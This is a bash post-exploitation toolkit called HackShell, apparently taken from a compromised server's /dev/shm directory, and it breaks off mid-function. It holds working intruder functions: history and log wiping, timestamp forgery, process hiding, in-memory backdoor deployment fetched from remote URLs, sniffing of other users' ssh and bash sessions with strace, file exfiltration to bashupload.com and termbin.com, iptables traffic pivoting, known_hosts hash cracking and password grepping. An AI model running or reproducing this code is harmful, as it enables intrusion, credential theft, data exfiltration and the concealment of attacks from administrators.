| Current Path : /dev/shm/ |
| Current File : //dev/shm/hackshell.sh |
#! /usr/bin/env bash
# HackShell - Post-Login shell configuration for hackers
#
# Configures the current BASH shell to disable history files and swap files
# for bash, wget, less, vim, mysql, curl, ...
#
# Also adds many useful commands, aliases and bash functions.
#
# Does not write anything to the file-system and remains as silent as possible.
#
# Usage:
# source <(curl -SsfL https://thc.org/hs)
# source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
# source <(wget -qO- https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
# eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"
# eval "$(wget -qO- https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"
# {eval,"$({curl,-SsfL,https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh})"}
# {eval,"$({wget,-qO-,https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh})"}
#
# Environment variables (optional):
# XHOME= Set custom XHOME directory [default: /dev/shm/.$'\t''~?$:?']
# HOMEDIR= Loot location of /home [default: /home]
# ROOTFS= Set different root. [default: /]
# QUIET= No TIPS and no startup messages.
# NOPTY= Do not upgrade to PTY
#
# 2024-2025 by Messede, DoomeD, skpr
# Similar work: https://github.com/zMarch/Orc
_HSURL="https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh"
_HSURLORIGIN=
_hs_init_color() {
[ -n "$CY" ] && return
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CB="\033[1;34m" # blue
CM="\033[1;35m" # magenta
CC="\033[1;36m" # cyan
CDR="\033[0;31m" # red
CDG="\033[0;32m" # green
CDY="\033[0;33m" # yellow
CDB="\033[0;34m" # blue
CDM="\033[0;35m"
CDC="\033[0;36m" # cyan
CF="\033[2m" # faint
CN="\033[0m" # none
CW="\033[1;37m" # white
CUL="\e[4m"
}
_hs_init_rootfs() {
[ -z "$ROOTFS" ] && return
[ -d "$ROOTFS" ] && return
HS_WARN "Directory not found (ROOTFS=): ${ROOTFS}"
unset ROOTFS
}
# Disable colors if this is not a TTY
_hs_no_tty_no_color() {
[ -t 1 ] && return
[ -n "$FORCE" ] && return
unset CY CG CR CB CM CC CDR CDG CDY CDB CDM CDC CF CN CW CUL
}
### Functions to keep in memory
_hs_dep() {
command -v "${1:?}" >/dev/null || { HS_ERR "Not found: ${1} [Install with ${CDC}bin ${1}${CDR} first]"; return 255; }
}
HS_ERR() { echo -e >&2 "${CR}ERROR: ${CDR}$*${CN}"; }
HS_WARN() { echo -e >&2 "${CY}WARN: ${CDM}$*${CN}"; }
HS_INFO() { echo -e >&2 "${CDG}INFO: ${CDM}$*${CN}"; }
xhelp_scan() {
echo -e "\
Scan 1 port:
scan 22 192.168.0.1
Scan some ports:
scan 22,80,443 192.168.0.1
Scan all ports:
scan - 192.168.0.1
Scan all ports on a range of IPs
scan - 192.168.0.1-254"
}
xhelp_dbin() {
echo -e "\
dbin - List all options
dbin search nmap - Search for nmap
dbin install nmap - install nmap
dbin list - List ALL binaries"
}
xhelp_tit() {
echo -e "\
${CDC}tit${CN} - List PIDS that can be sniffed
${CDC}tit read <PID>${CN} - Sniff bash shell (bash reads from user input)
${CDC}tit read <PID>${CN} - Sniff ssh session (ssh reads from user input)
${CDC}tit write <PID>${CN} - Sniff sshd session (sshd writes to the PTY/shell)"
}
xhelp_memexec() {
echo -e "\
Circumvent the noexec flag or when there is no writeable location on the remote
file-system to deploy your binary/backdoor.
Examples:
1. ${CDC}cat /usr/bin/id | memexec -u${CN}
2. ${CDC}memexec https://thc.org/my-backdoor-binary${CN}
3. ${CDC}NAME=/usr/bin/harmless memexec nmap${CN}
Or a real world example to deploy gsocket without touching the file system
or /dev/shm or /tmp (Change the -sSECRET please):
${CDC}GS_ARGS=\"-ilD -sSecretChangeMe31337\" NAME=python3 memexec https://gsocket.io/bin/gs-netcat_mini-linux-\$(uname -m)${CN}"
}
xhelp_bounce() {
echo -e "\
${CDM}Forward ingress traffic to _this_ host onwards to another host
Usage: bounce <Local Port> <Destination IP> <Destination Port>
${CDC} bounce 2222 10.0.0.1 22 ${CN}# Forward 2222 to internal host's port 22
${CDC} bounce 31336 127.0.0.1 8080 ${CN}# Forward 31336 to server's 8080
${CDC} bounce 5353 8.8.8.8 53 udp ${CN}# Forward 31337 UDP to 8.8.8.8's 53${CDM}
By default all source IPs are allowed to bounce. To limit to specific
source IPs use ${CDC}bounceinit 1.2.3.4/24 5.6.7.8/16 ...${CDM}"
}
noansi() { sed -e 's/\x1b\[[0-9;]*m//g'; }
alias nocol=noansi
xlog() { local a="$(sed "/${1:?}/d" <"${2:?}")" && echo "$a" >"${2:?}"; }
xsu() {
local name="${1:?}"
local u g h
local bak
local pcmd="os.execlp('bash', 'bash')"
shift 1
[ $# -gt 0 ] && pcmd="os.system('$*')"
[ "$UID" -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u "${name:?}") || return
g=$(id -g "${name:?}") || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)"
# Not all systems support unset -n
# unset -n _HS_HOME_ORIG
[ $# -le 0 ] && echo >&2 -e "May need to cut & paste: ' ${CDC}eval \"\$(curl -SsfL ${_HSURL})\"${CN}'"
bak="$_HS_HOME_ORIG"
unset _HS_HOME_ORIG
LOGNAME="${name}" USER="${name}" HOME="${h:-/tmp}" "${HS_PY:-python}" -c "import os;os.setgid(${g:?});os.setuid(${u:?});${pcmd}"
export _HS_HOME_ORIG="$bak"
}
xanew() {
[ $# -ne 0 ] && { HS_ERR "Parameters not supported"; return 255; }
awk 'hit[$0]==0 {hit[$0]=1; print $0}' # "${arr[@]}"
}
xtmux() {
local sox="${TMPDIR}/.tmux-${UID}"
# Can not live in XHOME because XHOME is wiped on exit()
tmux -S "${sox}" "$@"
command -v fuser >/dev/null && { fuser "${sox}" || rm -f "${sox}"; }
}
ssh-known-hosts-check() {
local host="$1"
local fn="${2:-${_HS_HOME_ORIG:-$HOME}/.ssh/known_hosts}"
[ $# -eq 0 ] && { echo >&2 "ssh-known-host-check <IP> [known_hosts file]"; return 255; }
ssh-keygen -F "$host" -f "$fn" >/dev/null || {
echo -e "${CDR}ERROR${CN}: Host not found in ${CDY}$fn${CN}"
return 255
}
echo -e "${CDG}Host FOUND in ${CDY}$fn${CN}"
}
_ssh-known-hosts2hashcat() {
local l arr n=0
while read -r l; do
[ "${l:0:3}" != "|1|" ] && continue
IFS='| ' read -ra arr <<<"${l:3}"
echo "$(echo "${arr[1]}" | base64 -d | xxd -p):$(echo "${arr[0]}" | base64 -d | xxd -p)"
((n++))
done
echo -e >&2 "Found ${n} hashes. Now use:
${CDC}hashcat -m 160 --quiet --hex-salt known_hosts_converted.txt -a0 hosts.txt${CN}
or try all IPv4:
${CDC}curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
hashcat -m 160 --quiet --hex-salt known_hosts_converted.txt -a3 ipv4_hcmask.txt${CN}"
}
ssh-known-hosts2hashcat() {
command -v xxd >/dev/null || { command -v hexdump >/dev/null && xxd() { hexdump -ve '1/1 "%.2x"'; }; }
cat "${1:-/dev/stdin}" | _ssh-known-hosts2hashcat
declare -F xxd >/dev/null && unset -f xxd
}
xssh() {
local ttyp="$(stty -g)"
local opts=()
[ -z "$NOMX" ] && {
[ ! -d "$XHOME" ] && hs_mkxhome
[ -d "$XHOME" ] && {
HS_INFO "Multiplexing all SSH connections over a single TCP. ${CF}[set NOMX=1 to disable]"
opts=("-oControlMaster=auto" "-oControlPath=\"${XHOME}/.ssh-unix.%C\"" "-oControlPersist=15")
}
}
# If we use key then disable Password auth ('-oPasswordAuthentication=no' is not portable)
{ [[ "$*" == *" -i"* ]] || [[ "$*" == "-i"* ]]; } && opts+=("-oBatchMode=yes")
echo -e "May need to cut & paste: ' ${CDC}eval \"\$(curl -SsfL ${_HSURL})\"${CN}'"
stty raw -echo icrnl opost
\ssh "${HS_SSH_OPT[@]}" "${opts[@]}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [ntp] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
[ -n "$ttyp" ] && stty "${ttyp}"
}
xscp() {
local opts=()
[ -z "$NOMX" ] && [ -d "$XHOME" ] && opts=("-oControlMaster=auto" "-oControlPath=\"${XHOME}/.ssh-unix.%C\"")
\scp "${HS_SSH_OPT[@]}" "${opts[@]}" "$@"
}
purl() {
local opts="timeout=10"
local opts_init
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
[ -n "$UNSAFE" ] && {
opts_init="\
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE"
opts+=", context=ctx"
}
"$HS_PY" -c "import urllib.request
import sys
${opts_init}
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", $opts).read())"
}
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
lurl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
LANG=C perl -e 'use LWP::Simple qw(get);
my $url = '"'${1:?}'"';
print(get $url);'
}
burl() {
local proto x host query
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
# Execute a command without changing file's ctime/mtime/atime/btime
# notime <reference file> <cmd> ...
# - notime . rm -f foo.dat
# - notime foo chmod 700 foo
# FIXME: Could use debugfs (https://righteousit.com/2024/09/04/more-on-ext4-timestamps-and-timestomping/)
notime() {
local ref="$1"
local now
[[ $# -le 1 ]] && { echo >&2 "notime <reference file> <cmd> ..."; return 255; }
[[ ! -e "$ref" ]] && { echo >&2 "File not found: $ref"; return 255; }
[ "$UID" -ne 0 ] && { HS_ERR "Need root"; return 255; }
shift 1
now=$(date -Ins) || return
date --set="$(date -Ins -r "$ref")" >/dev/null || return
"$@"
date --set="$now" >/dev/null || return
}
# Set the ctime to the file's mtime
ctime() {
local fn
[ "$UID" -ne 0 ] && { HS_ERR "Need root"; return 255; }
for fn in "$@"; do
notime "${fn}" chmod --reference "${fn}" "${fn}"
# FIXME: warning if Birth time is newer than ctime or mtime.
done
}
# Presever mtime, ctime and birth-time as best as possible.
# notime_cp <src> <dst>
notime_cp() {
local src="$1"
local dst="$2"
local now
local olddir_date
local dir
[[ ! -f "$src" ]] && { echo >&2 "Not found: $src"; return 255; }
if [[ -d "$dst" ]]; then
dir="$dst"
dst+="/$(basename "$src")"
else
dir="$(dirname "$dst")"
fi
# If dst exists then keep dst's time (otherwise use time of src)
[[ -f "$dst" ]] && {
# Make src identical to dst (late set dst to src).
touch -r "$dst" "$src"
chmod --reference "$dst" "$src"
}
olddir_date="$(date +%Y%m%d%H%M.%S -r "$dir")" || return
[[ ! -e "$dst" ]] && {
[[ "$UID" -eq 0 ]] && {
now=$(date -Ins)
date --set="$(date -Ins -r "$src")" >/dev/null || return
touch "$dst"
chmod --reference "$src" "$dst"
touch -t "$olddir_date" "$dir" # Changes ctime
chmod --reference "$dir" "$dir" # Fixes ctime
date --set="$now" >/dev/null
unset olddir_date
}
}
cat "$src" >"$dst"
chmod --reference "$src" "$dst"
touch -r "$src" "$dst"
[[ "$UID" -ne 0 ]] && {
# Normal users can't change date to the past.
touch -t "${olddir_date:?}" "$dir"
return
}
now=$(date -Ins) || return
date --set="$(date -Ins -r "$src")" || return
chmod --reference "$dst" "$dst" # Fixes ctime
date --set="$now"
}
# domain 2 IPv4
dns() {
local x="${1:?}"
x="$(getent ahostsv4 "${x}" 2>/dev/null)" || return
echo "${x// */}"
}
resolv() {
local x r
[ -t 0 ] && [ -n "$1" ] && {
echo "$(dns "$1")"$'\t'"${1}"
return
}
while read -r x; do
r="$(dns "$x")" || continue
echo "${r}"$'\t'"${x}"
done
}
find_subdomains() {
local d="${1//./\\.}"
local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}"
local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)'
[ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains <apex-domain> <file>\nExample: find_subdomains .com | anew"; return; }
shift 1
[ $# -le 0 ] && [ -t 0 ] && set -- .
command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; }
grep -Eaohr "$rex" "$@" | grep -Eo "$rexf"
}
# echo -n "XOREncodeThisSecret" | xor 0xfa
xor() {
_hs_dep perl || return
LANG=C perl -e 'while(<>){foreach $c (split //){print $c^chr('"${1:-0xfa}"');}}'
}
xorpipe() { xor "${1:-0xfa}" | sed 's/\r/\n/g'; }
# HS_TRANSFER_PROVIDER="transfer.sh"
# HS_TRANSFER_PROVIDER="oshi.at"
HS_TRANSFER_PROVIDER="bashupload.com"
transfer() {
local opts=("-SsfL" "--connect-timeout" "7" "--progress-bar" "-T")
[ -n "$UNSAFE" ] && opts+=("-k")
[[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer <file/directory> [remote file name]\n transfer [name] <FILENAME"; return 255; }
[[ ! -t 0 ]] && { curl "${opts[@]}" "-" "https://${HS_TRANSFER_PROVIDER}/${1}"; return; }
[[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
[[ -d "$1" ]] && { (cd "${1}/.." && tar cfz - "${1##*/}")|curl "${opts[@]}" "-" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}.tar.gz}"; return; }
curl "${opts[@]}" "$1" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}}" || echo -e >&2 "Try ${CDC}tb <file>${CN} instead [WARNING: not encrypted]."
}
tb() {
_hs_dep nc || return
[ $# -eq 0 ] && {
[ -t 0 ] && { echo -e >&2 "Usage:\n tb <file>"; return 255; }
nc termbin.com 9999
return
}
nc termbin.com 9999 <"$1"
}
# SHRED without shred command
shred() {
[ -x /usr/bin/shred ] && {
/usr/bin/shred -u "$@"
return
}
[[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; }
dd status=none bs=1k count="$(du -sk "${1:?}" | cut -f1)" if=/dev/urandom >"$1"
rm -f "${1:?}"
}
command -v srm >/dev/null || srm() { shred "$@"; }
command -v strings >/dev/null || { command -v perl >/dev/null && strings() { LC_ALL=C perl -nle 'print $& while m/[[:print:]]{8,}/g' "$@"; }; }
command -v strings >/dev/null || { command -v grep >/dev/null && strings() { grep -a -o -E '[[:print:]]{8,}' "$@"; }; }
bounceinit() {
[[ -n "$_is_bounceinit" ]] && return
_is_bounceinit=1
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && {
HS_WARN "Allowing _ALL_ IPs to bounce. Use ${CDC}bounceinit 1.2.3.4/24 5.6.7.8/16 ...${CDM} to limit."
set -- "0.0.0.0/0"
}
while [ $# -gt 0 ]; do
_hs_bounce_src+=("${1}")
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
iptables -t mangle -I PREROUTING -s "${1}" -p udp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
HS_INFO "Use ${CDC}unbounce${CDM} to remove all bounces."
}
unbounce() {
unset _is_bounceinit
local str
for x in "${_hs_bounce_dst[@]}"; do
iptables -t nat -D PREROUTING -p tcp --dport "${x%%-*}" -m mark --mark 1188 -j DNAT --to "${x##*-}" 2>/dev/null
iptables -t nat -D PREROUTING -p udp --dport "${x%%-*}" -m mark --mark 1188 -j DNAT --to "${x##*-}" 2>/dev/null
done
unset _hs_bounce_dst
for x in "${_hs_bounce_src[@]}"; do
iptables -t mangle -D PREROUTING -s "${x}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
iptables -t mangle -D PREROUTING -s "${x}" -p udp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
done
unset _hs_bounce_src
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -D FORWARD -m mark --mark 1188 -j ACCEPT 2>/dev/null
iptables -t nat -D POSTROUTING -m mark --mark 1188 -j MASQUERADE 2>/dev/null
iptables -t nat -D POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark 2>/dev/null
HS_INFO "DONE. Check with ${CDC}iptables -t mangle -L PREROUTING -vn; iptables -t nat -L -vn; iptables -L FORWARD -vn${CN}"
}
bounce() {
local fport="$1"
local dstip="$2"
local dstport="$3"
local proto="${4:-tcp}"
[[ $# -lt 3 ]] && {
xhelp_bounce
return 255
}
bounceinit
iptables -t nat -A PREROUTING -p "${proto}" --dport "${fport:?}" -m mark --mark 1188 -j DNAT --to "${dstip:?}:${dstport:?}" || return
_hs_bounce_dst+=("${fport}-${dstip}:${dstport}")
HS_INFO "Traffic to _this_ host's ${CDY}${proto}:${fport}${CDM} is now forwarded to ${CDY}${dstip}:${dstport}"
}
sub() {
[ $# -ne 1 ] && { HS_ERR "sub <domain-name>"; return 255; }
_hs_dep jq || return
_hs_dep anew || return
dl "https://crt.sh/?q=${1:?}&output=json" | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
dl "https://ip.thc.org/sb/${1:?}"
}
ptr() {
local str
[ -n "$DNSDBTOKEN" ] && curl -m10 -H "X-API-Key: ${DNSDBTOKEN}" -H "Accept: application/json" -SsfL "https://api.dnsdb.info/lookup/rdata/ip/${1:?}/?limit=5&time_last_after=$(( $(date +%s) - 60 * 60 * 24 * 30))"
dl "https://ip.thc.org/${1:?}?limit=20&f=${2}"
curl -m10 -SsfL -H "Authorization: Bearer ${IOTOKEN}" "https://ipinfo.io/${1:?}" && echo "" # newline
str="$(host "$1" 2>/dev/null)" && echo "${str##* }"
}
rdns() { ptr "$@"; }
ghostip() {
source <(dl https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
}
ltr() {
[ $# -le 0 ] && set -- .
find "$@" -printf "%T@ %M % 8.8u %-8.8g % 10s %Tc %P\n" | sort -n | cut -f2- -d' '
}
lssr() {
[ $# -le 0 ] && set -- .
find "$@" -printf "%s %M % 8.8u %-8.8g % 10s %Tc %P\n" | sort -n | cut -f2- -d' '
}
hide() {
local _pid="${1:-$$}"
local ts_d ts_f
[[ -L /etc/mtab ]] && {
ts_d="$(date -r /etc +%Y%m%d%H%M.%S 2>/dev/null)"
# Need stat + date to take timestamp of symlink.
ts_f="$(stat -c %y /etc/mtab)"
ts_f="$(date -d "${ts_f}" +%Y%m%d%H%M.%S 2>/dev/null)"
[ -z "$ts_f" ] && ts_f="${ts_d}"
cp /etc/mtab /etc/mtab.bak
mv -f /etc/mtab.bak /etc/mtab
[ -n "$ts_f" ] && touch -t "$ts_f" /etc/mtab
[ -n "$ts_d" ] && touch -t "$ts_d" /etc
HS_WARN "Use ${CDC}ctime /etc /etc/mtab${CDM} to fix ctime"
}
[[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm "/proc/$_pid" && HS_INFO "PID $_pid is now hidden"; return; }
local _argstr
for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done
[[ $(bash -c "ps -o stat= -p \$\$") =~ \+ ]] || exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
}
_hs_xhome_mark_running() {
touch "${XHOME}/.run/.$$" 2>/dev/null
}
_hs_xhome_init() {
[[ "$PATH" != *"$XHOME"* ]] && export PATH="${XHOME}:${XHOME}/bin:$PATH"
}
hs_mkxhome() {
_hs_xhome_init
[ ! -d "${XHOME}" ] && {
mkdir -p "${XHOME:?}/bin" "${XHOME}/.run" 2>/dev/null || return
echo -e ">>> Using ${CDY}XHOME=${XHOME}${CN}. ${CF}[will auto-destruct on exit]${CN}"
echo -e ">>> Type ${CDC}xdestruct${CN} to erase ${CDY}${XHOME}${CN}"
echo -e ">>> Type ${CDC}xkeep${CN} to disable auto-destruct on exit."
echo -e ">>> Type ${CDC}xcd${CN} to change to your hidden ${CDY}\"\${XHOME}\"${CN} directory"
}
_hs_xhome_mark_running
}
cdx() {
hs_mkxhome
cd "${XHOME}" || return
}
xcd() { cdx; }
# Keep this seperate because this actually creates data.
xhome() {
export HOME="${XHOME}"
echo -e "${CDM}HOME set to ${CDY}${XHOME}${CN}"
hs_mkxhome
echo -e ">>> Type ${CDC}home${CN} to undo."
}
home() {
export HOME="${_HS_HOME_ORIG}"
echo -e "${CDM}HOME set to ${CDY}${HOME}${CN}"
}
xkeep() {
touch "${XHOME}/.keep" 2>/dev/null
HS_INFO "Won't delete ${CDY}${XHOME}${CDM} on exit"
}
proxy() {
local proto host
local str="$1"
proto="socks5h://"
[[ "${str}" == *"://"* ]] && proto="${str%%://*}://"
str="${str#*://}"
[[ "${str}" != *"."* ]] && str="127.0.0.1:${str}"
IFS=: read -r host port <<<"${str}"
[ -z "$port" ] && port=1080
export http_proxy="${proto}${host:-127.0.0.1}:${port}"
export https_proxy="${proto}${host:-127.0.0.1}:${port}"
echo -e "Proxy env variables set to ${CDM}$http_proxy${CN}. Type ${CDC}unproxy${CN} to unset."
}
unproxy() {
unset http_proxy
unset https_proxy
}
# A fool's token. Not secure. Can be recovered by target's admin.
# Good enough for simple encrypt/decrypt and for data-in-transit.
_hs_enc_init() {
local str
[ -n "$HS_TOKEN" ] && return
[ -n "$GS_TOKEN" ] && { HS_TOKEN="$GS_TOKEN"; return; }
command -v openssl >/dev/null || return
[ -f "/etc/machine-id" ] && HS_TOKEN="$(openssl sha256 -binary <"/etc/machine-id" | openssl base64)"
[ -z "$HS_TOKEN" ] && HS_TOKEN="$(openssl rand -base64 24)"
HS_TOKEN="${HS_TOKEN//[^a-zA-Z0-9]/}"
HS_TOKEN="${HS_TOKEN:0:16}"
}
# Encrypt/Decrypt. Use memory only.
# enc <file> - Encrypt file
# enc - Encrypt stdin
enc() {
local data
declare -f _hs_dep >/dev/null && _hs_dep openssl
# Return true if not yet marked as once.
# _once <key>
# Used to execute a command only once.
_once() {
# Old bash don't support key/value pairs. Use eval-trick instead:
eval "[ -n \"\$_hs_once_$1\" ] && return 255"
eval "_hs_once_$1=1"
}
_hs_enc_init
[ $# -eq 0 ] && {
# Encrypt
_once dec_help && echo -e 1>&2 "${CDY}>>>${CN} To decrypt, use: ${CDC}HS_TOKEN='${HS_TOKEN}' dec${CN}"
openssl enc "${_HS_SSL_OPTS[@]}" "${HS_TOKEN:?}" 2>/dev/null
unset -f _once
return
}
# Check if already encrypted:
openssl enc -d "${_HS_SSL_OPTS[@]}" "${HS_TOKEN:?}" <"${1}" &>/dev/null && { HS_WARN "Already encrypted"; return; }
data="$(openssl enc "${_HS_SSL_OPTS[@]}" "${HS_TOKEN:?}" -a <"${1}" 2>/dev/null)"
openssl base64 -d <<<"${data}" >"${1}"
_once dec_help && echo -e 1>&2 "${CDY}>>>${CN} To decrypt, use: ${CDC}HS_TOKEN='${HS_TOKEN}' dec '${1}'${CN}"
unset -f _once
}
dec() {
local data
declare -f _hs_dep >/dev/null && _hs_dep openssl
_hs_enc_init
[ $# -eq 0 ] && {
openssl enc -d "${_HS_SSL_OPTS[@]}" "${HS_TOKEN:?}" 2>/dev/null
return
}
# Check if encrypted:
openssl enc -d "${_HS_SSL_OPTS[@]}" "${HS_TOKEN:?}" <"${1}" &>/dev/null || { HS_WARN "Not encrypted or wrong HS_TOKEN."; return; }
data="$(openssl enc -d "${_HS_SSL_OPTS[@]}" "${HS_TOKEN:?}" <"${1}" 2>/dev/null | openssl base64)" || { HS_WARN "Not encrypted or wrong HS_TOKEN."; return; }
[ -z "$data" ] && { HS_WARN "Failed to decrypt."; return; }
openssl base64 -d <<<"${data}" >"${1}"
}
tit() {
local str
local has_gawk
_hs_dep strace || return
_hs_dep grep || return
command -v gawk >/dev/null && has_gawk=1
[ $# -eq 0 ] && {
str="$(ps -eF | grep -E '(^UID|bash|ssh )' | grep -v ' grep')"
[ -n "$str" ] && {
echo -e "${CDM}Use ${CDC}tit read <PID>${CDM} on:${CDY}${CF}"
echo "$str"
}
str="$(ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep')"
[ -n "$str" ] && {
echo -e "${CDM}Use ${CDC}tit write <PID>${CDM} on:${CDY}${CF}"
echo "$str"
}
echo -e "${CN}>>> ${CW}TIP${CN}: ${CDC}ptysnoop.bt${CN} from ${CB}${CUL}https://github.com/hackerschoice/bpfhacks${CN} works better"
return
}
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep "^${1}"'.*= [1-9]$' | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
# gawk 'BEGIN{FS="\""; ORS=""}/\.\.\./ { next }; {for(i=2;i<NF;i++) printf "%s%s", $i, (i<NF-1?FS:""); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
if [ -n "$has_gawk" ]; then
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# elif command -v awk >/dev/null; then
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
else
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | while read -r x; do
[[ "$x" == *"..."* ]] && continue
x="${x#*\"}"
x="${x%\"*}"
x="${x//\\33O[ABCDR]/}"
x="${x//\\33[200~/}"
x="${x//\\33[201~/}"
x="${x//\\33\[[56]~/}"
[ "$x" == "\\r" ] && { echo ""; continue; }
echo -n "$x"
done
fi
}
np() {
local cmdl=()
_hs_dep noseyparker || return
[ -t 1 ] && {
HS_WARN "Use ${CDC}np $*| less -R${CN} instead."
return;
}
command -v nice >/dev/null && cmdl=("nice" "-n19")
cmdl+=("noseyparker")
_HS_NP_D="/tmp/.np-${UID}-$$"
[ -d "${_HS_NP_D}" ] && rm -rf "${_HS_NP_D:?}"
[ $# -le 0 ] && set - .
NP_DATASTORE="$_HS_NP_D" "${cmdl[@]}" -q scan "$@" >&2 || return
NP_DATASTORE="$_HS_NP_D" "${cmdl[@]}" report --color=always
rm -rf "${_HS_NP_D:?}"
unset _HS_NP_D
}
zapme() {
local name="${1}"
_hs_dep zapper || return
HS_WARN "Starting new/zap'ed shell. Type '${CDC} eval \"\$(curl -SsfL ${_HSURL})\"${CDM}' again."
[ -z "$name" ] && {
HS_INFO "Apps will hide as ${CDY}python${CDM}. Use ${CDC}zapme -${CDM} for NO name."
name="python"
}
exec zapper -f -a"${name}" bash -il
}
# Find writeable dirctory but without displaying sub-folders
# Usage: wfind /
# Usage: wfind /etc /var /usr
wfind() {
local arr dir
local IFS
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Only output the 16 charges before and 32 chars after..
hgrep() {
grep -HEronasie ".{,16}${1:-password}.{,32}" .
}
# FIXME: Should we used SOAR instead? Can SOAR be made stealthy by setting HOME=$XHOME?
# https://github.com/pkgforge/soar
dbin() {
local cdir
{ [ -n "${XHOME}" ] && [ -f "${XHOME}/dbin" ]; } || { bin dbin || return; }
cdir="${XHOME}/.dbin"
[ ! -d "${cdir}" ] && { mkdir "${cdir}" || return; }
# Show dbin's help or download.
